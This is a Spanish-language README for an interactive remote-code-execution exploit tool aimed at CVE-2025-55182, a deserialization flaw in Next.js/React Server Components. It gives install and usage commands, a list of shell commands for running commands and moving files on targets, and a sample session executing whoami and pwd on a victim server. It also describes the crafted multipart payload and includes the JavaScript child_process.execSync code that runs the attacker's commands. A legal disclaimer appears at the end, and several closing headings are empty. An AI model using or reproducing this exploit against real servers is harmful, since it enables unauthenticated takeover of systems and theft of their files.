
Exploit RCE interactivo para CVE-2025-55182 dirigido a la vulnerabilidad de deserialización de Next.js/React Server Components. Presenta detección automática, ejecución de comandos, transferencia de archivos y un shell integrado con historial y autocompletado.
Base utilizada de: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Muchas gracias por la gran contribución.
CVE-2025-55182 es una vulnerabilidad de deserialización en Next.js/React Server Components que permite a atacantes remotos no autenticados ejecutar código arbitrario en los servidores afectados. La vulnerabilidad se debe a un manejo inadecuado de datos serializados en React Server Actions.
requests# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma
# Install dependencies
pip install requests
# Make script executable (optional)
chmod +x hokma.py
# Start interactive shell
python hokma.py
# Check vulnerability only
python hokma.py -u http://target.com --check
# Execute single command
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| Opción | Valor por defecto | Descripción |
|---|---|---|
| URL del objetivo | Ninguno | URL de la aplicación vulnerable |
| Action ID | user-profile-action | ID de la Server Action a la que dirigirse |
| Timeout | 3 segundos | Tiempo de espera de la solicitud |
La herramienta envía una solicitud multipart especialmente manipulada que provoca un fallo en los sistemas vulnerables:
["$1:a:a"] con un objeto vacío {}child_process.execSync() para ejecutar comandos del sistemaconst cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
AVISO LEGAL IMPORTANTE
Esta herramienta está destinada a:
NO utilices esta herramienta contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. El acceso no autorizado a sistemas informáticos es ilegal y poco ético.
Los desarrolladores no son responsables del mal uso que se haga de esta herramienta. Los usuarios deben cumplir todas las leyes aplicables y obtener la autorización adecuada antes de realizar las pruebas.
Requisitos del objetivo:
Limitaciones de detección:
Restricciones de explotación: